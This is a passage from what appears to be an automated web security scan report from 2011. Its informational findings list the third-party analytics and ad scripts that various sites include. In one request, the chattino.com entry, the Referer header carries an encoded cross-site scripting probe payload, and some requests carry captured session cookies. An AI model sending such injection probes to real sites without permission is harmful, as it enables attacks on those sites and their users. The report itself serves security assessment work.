...[SNIP]...
</center>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.140. http://www.beckerortho.com/new/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/new/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /new/ HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:53:20 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 4687
Content-Type: text/html; charset=utf-8
Cache-control: private

<!doctype html>
<html>
   <head>
       <title>Becker Orthopedic - Orthotics Componentry Distributors</title>
       <base href="http://www.beckerorthopedic.com/">
       <link href="assets/css/screen.css" rel="s
...[SNIP]...
</div>
       <script src="http://www.google-analytics.com/urchin.js"></script>
...[SNIP]...

21.141. http://www.beckerortho.com/pastfp.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/pastfp.htm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /pastfp.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 10793
Content-Type: text/html
Last-Modified: Mon, 08 Jun 2009 20:33:19 GMT
Accept-Ranges: bytes
ETag: "8e38ca5b78e8c91:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:24 GMT
Connection: close

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Leaders in Orthotics Componentr
...[SNIP]...
</center>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.142. http://www.beckerortho.com/pdac.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/pdac.asp

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /pdac.asp HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:53:20 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 3381
Content-Type: text/html; charset=utf-8
Cache-control: private

<!doctype html>
<html>
   <head>
       <title>Becker Orthopedic - Orthotics Componentry Distributors</title>
       <base href="http://www.beckerorthopedic.com/">
       <link href="assets/css/screen.css" rel="s
...[SNIP]...
</div>
       <script src="http://www.google-analytics.com/urchin.js"></script>
...[SNIP]...

21.143. http://www.beckerortho.com/services.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/services.htm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /services.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 12392
Content-Type: text/html
Last-Modified: Mon, 14 Dec 2009 17:00:24 GMT
Accept-Ranges: bytes
ETag: "08457edde7cca1:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:07 GMT
Connection: close

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Orthotics Central Fabrication S
...[SNIP]...
<img src="tech2.gif" border=0 width=1 height=1>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.144. http://www.beckerortho.com/tech.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/tech.htm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /tech.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 8733
Content-Type: text/html
Last-Modified: Fri, 16 Nov 2007 19:34:58 GMT
Accept-Ranges: bytes
ETag: "453c9ec58728c81:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:08 GMT
Connection: close

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Technical Support</title>

<M
...[SNIP]...
<img src="tech2.gif" border=0 width=1 height=1>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.145. http://www.beckerortho.com/thanks.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.beckerortho.com
Path:	/thanks.htm

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /thanks.htm HTTP/1.1
Host: www.beckerortho.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCQSSDRQQ=IPAPMINCNMAILFDLGLDILKCO; __utmz=115968021.1296942566.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=115968021.1099357074.1296942566.1296942566.1296942566.1; __utmc=115968021; __utmb=115968021;

Response

HTTP/1.1 200 OK
Content-Length: 3008
Content-Type: text/html
Last-Modified: Fri, 16 Nov 2007 19:34:58 GMT
Accept-Ranges: bytes
ETag: "8bffc1c58728c81:c901"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 21:53:35 GMT
Connection: close

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Leaders in Orthotics Componentr
...[SNIP]...
</center>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.146. http://www.bitty.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bitty.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.bitty.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 23:01:31 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Length: 18817
Content-Type: text/html
Cache-control: private

<html><head><title>Bitty Browser Home Page -- Picture-in-Picture for the Web</title></head><body bgcolor="#FFFFFF" style="margin:0px;"><style type="text/css">
.flame A:link {text-decoration:none;}
.
...[SNIP]...
</table><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.blackvoices.com
Path:	/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.channel.aol.com/_media/channels/ad_refresher.js
http://js.adsonar.com/js/adsonar.js
http://o.aolcdn.com/ads/adsWrapper.js
http://o.aolcdn.com/art/merge/?f=/_media/channels/common.js&f=/_media/channels/us.bv/bv.js&f=/_media/aolvideo30/mp.js&f=/_media/channels/us.news20/news20.js&f=/onlineopinions3ts/oo_engine.js&ver=1e&expsec=31536000&expsec=864000
http://o.aolcdn.com/art/webwidgets/sfsw_v1_1/feeds_subscribe.js
http://o.aolcdn.com/feedback/feedback1.js
http://o.aolcdn.com/journals_js/journals_blog_this.js
http://o.aolcdn.com/omniunih.js
http://www.aolcdn.com/_media/ke_tools/mmx_refresh_patch.js

Request

Response

HTTP/1.0 404 Not Found
set-cookie: dcisid=3244834828.3642051917.848365056; path=/
X-RSP: 1
Set-Cookie: bandType=broadband;DOMAIN=.aol.com;PATH=/;
Pragma: no-cache
Cache-Control: no-store
MIME-Version: 1.0
Date: Sun, 06 Feb 2011 16:05:27 GMT
Server: AOLserver/4.0.10
Content-Type: text/html
Content-Length: 31057
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
</title>

<script language="javascript" type="text/javascript" src="http://o.aolcdn.com/journals_js/journals_blog_this.js"></script>
<script type="text/javascript" src="http://o.aolcdn.com/ads/adsWrapper.js"></script>
...[SNIP]...
p://o.aolcdn.com/art/merge/?f=/_media/channels/common.css&f=/_media/channels/us.bv/bv.css&f=/_media/ch_css/bv_redesign-r18g.css&f=/_media/ch_bv/bv_comments.css&ver=1b&expsec=31536000&expsec=864000" />
<script type="text/javascript" src="http://o.aolcdn.com/art/merge/?f=/_media/channels/common.js&f=/_media/channels/us.bv/bv.js&f=/_media/aolvideo30/mp.js&f=/_media/channels/us.news20/news20.js&f=/onlineopinions3ts/oo_engine.js&ver=1e&expsec=31536000&expsec=864000"></script>
...[SNIP]...

<script src="http://o.aolcdn.com/art/webwidgets/sfsw_v1_1/feeds_subscribe.js" type="text/javascript"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://o.aolcdn.com/feedback/feedback1.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://o.aolcdn.com/omniunih.js"></script>
...[SNIP]...
</div>

<script src="http://cdn.channel.aol.com/_media/channels/ad_refresher.js" type="text/javascript" language="javascript" charset="utf-8"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://js.adsonar.com/js/adsonar.js"></script>
...[SNIP]...
<div class="text">
<script type="text/javascript" src="http://www.aolcdn.com/_media/ke_tools/mmx_refresh_patch.js"> </script>
...[SNIP]...

21.148. http://www.bookmarks.fr/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bookmarks.fr
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.artviper.net/blink.js
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.bookmarks.fr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.149. https://www.box.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.box.net
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

https://ak1.boxcdn.net/resources/aa34kihy1m/js/box_presentation.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/box_tooltips.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/common_global.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/external/base.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/external/swfobject.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/jquery/jquery.box.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/jquery/jquery.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/sales_global.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/sales_home.js
https://ak1.boxcdn.net/resources/aa34kihy1m/js/section_application.js
https://ssl.google-analytics.com/ga.js
https://www.googleadservices.com/pagead/conversion.js

Request

GET / HTTP/1.1
Host: www.box.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 05 Feb 2011 23:01:33 GMT
Content-Type: text/html; charset=utf-8
Connection: close
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: PHPSESSID=63e9qo0i13m18idln9pja8irm0; path=/; domain=.box.net; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: box_visitor_id=4d4dd6cd8da802.39031593; expires=Sun, 05-Feb-2012 23:01:33 GMT; path=/; domain=.box.net
Content-Length: 33698

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>


   
...[SNIP]...
</noscript>

   <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/jquery/jquery.js"></script>
   <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/jquery/jquery.box.js"></script>
   <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/external/base.js"></script>
   <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/sales_global.js"></script>
   <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/common_global.js"></script>
   <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/box_presentation.js"></script>
   <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/external/swfobject.js"></script>


                               <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/sales_home.js"></script>
                       <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/box_tooltips.js"></script>
                       <script type="text/javascript" src="https://ak1.boxcdn.net/resources/aa34kihy1m/js/section_application.js"></script>
...[SNIP]...
</script>


                                                                                                                                       <script src='https://ssl.google-analytics.com/ga.js' type='text/javascript'></script>
...[SNIP]...
</script>
       <script type="text/javascript" src="https://www.googleadservices.com/pagead/conversion.js">
       </script>
...[SNIP]...

21.150. http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.breitband-anbieter.com
Path:	/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

21.151. http://www.buddymarks.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.buddymarks.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://media.fastclick.net/w/get.media?sid=25721&m=6&tp=8&d=j&t=n
http://media.fastclick.net/w/get.media?sid=25721&tp=5&d=j&t=n
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.buddymarks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:34 GMT
Server: Apache/2.2.17
Connection: close
Content-Type: text/html
Content-Length: 58216

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<m
...[SNIP]...

<script language="javascript" src="http://media.fastclick.net/w/get.media?sid=25721&tp=5&d=j&t=n"></script>
...[SNIP]...

<script language="javascript" src="http://media.fastclick.net/w/get.media?sid=25721&m=6&tp=8&d=j&t=n"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.152. http://www.buscaglia.com/resources.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.buscaglia.com
Path:	/resources.htm

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /resources.htm HTTP/1.1
Host: www.buscaglia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 34864
Content-Type: text/html
Content-Location: http://www.buscaglia.com/resources.htm
Last-Modified: Thu, 22 Apr 2010 12:51:56 GMT
Accept-Ranges: bytes
ETag: "59f5c7961ae2ca1:808a"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 23:01:34 GMT
Connection: close

<HTML>
<HEAD>
<TITLE>The World of Leo Buscaglia</TITLE>

<SCRIPT LANGUAGE="JavaScript">
<!--
function changeImg(num, src) {
document.images[num].src = ("images/" + src + ".gif");
}

which_i
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.153. http://www.care2.com/news/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.care2.com
Path:	/news/

Issue detail

The response dynamically includes the following script from another domain:

http://edge.quantserve.com/quant.js

Request

GET /news/ HTTP/1.1
Host: www.care2.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.154. http://www.chattino.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.chattino.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://tracker.icerocket.com/services/collector.js
http://www.google.de/cse/brand?form=cse-search-box&lang=de

Request

GET / HTTP/1.1
Host: www.chattino.com
Proxy-Connection: keep-alive
Referer: http://www.kledy.eu/?f0d30%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31ed3e6c6d3=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 09:28:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 9671

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<h
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.de/cse/brand?form=cse-search-box&lang=de"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

21.155. http://www.codero.com/dedicated-server-hosting/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.codero.com
Path:	/dedicated-server-hosting/

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://www.googleadservices.com/pagead/conversion.js
http://www.googleadservices.com/pagead/conversion/1031455071/calltracking

Request

GET /dedicated-server-hosting/ HTTP/1.1
Host: www.codero.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:48 GMT
Server: Apache/2.2.3 (CentOS) DAV/2 PHP/5.2.10 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5
X-Powered-By: PHP/5.2.10
Set-Cookie: symfony=69t92pf2qb6ovl835qo7ab8jd4; path=/
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 84581

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="X-UA-Com
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion/1031455071/calltracking"></script>
...[SNIP]...
<div style="display:none;">
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.156. http://www.codylindley.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.codylindley.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js

Request

GET / HTTP/1.1
Host: www.codylindley.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:40 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/4.4.9
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 7535

<!DOCTYPE html>
<html>
<head>
<link href="/screen.css" rel="stylesheet" media="all" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="author" content="Cody Lindley
...[SNIP]...
</script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...

21.157. http://www.connotea.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.connotea.org
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.connotea.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:41 GMT
Server: Apache
Last-Modified: Sat, 05 Feb 2011 23:01:36 GMT
Cache-Control: max-age=3
Content-Length: 10982
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head profile="htt
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js" type="text/javascript"></script>
...[SNIP]...

21.158. http://www.cssplay.co.uk/menus/final_drop.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cssplay.co.uk
Path:	/menus/final_drop.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google-analytics.com/urchin.js

Request

GET /menus/final_drop.html HTTP/1.1
Host: www.cssplay.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:42 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html
Content-Length: 25880

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>

<meta http-equiv="Co
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dabagirls.com
Path:	/\|http:/www.stylemepretty.com/\|http:/stylehive.com\|http:/stylelist.com\|http:/www.outblush.com/\|http:/www.dooce.com/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The response dynamically includes the following script from another domain:

http://stats.wordpress.com/e-201105.js

Request

GET /|http:/www.stylemepretty.com/|http:/stylehive.com|http:/stylelist.com|http:/www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/ HTTP/1.1
Host: www.dabagirls.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:01:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Vary: Cookie
X-Pingback: http://www.dabagirls.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:01:49 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 5586

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en-US">

<head
...[SNIP]...
</div><script src="http://stats.wordpress.com/e-201105.js" type="text/javascript"></script>
...[SNIP]...

21.160. http://www.digitalia.be/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.digitalia.be
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google-analytics.com/ga.js

Request

GET / HTTP/1.1
Host: www.digitalia.be
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Set-Cookie: 60gp=R513161254; path=/; expires=Tue, 08-Feb-2011 09:53:22 GMT
Date: Sat, 05 Feb 2011 21:53:51 GMT
Server: Apache/2.2.X (OVH)
X-Powered-By: PHP/5.3.5
X-UA-Compatible: IE=edge
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 46539

...<!DOCTYPE html>
<html lang="fr">
<head>
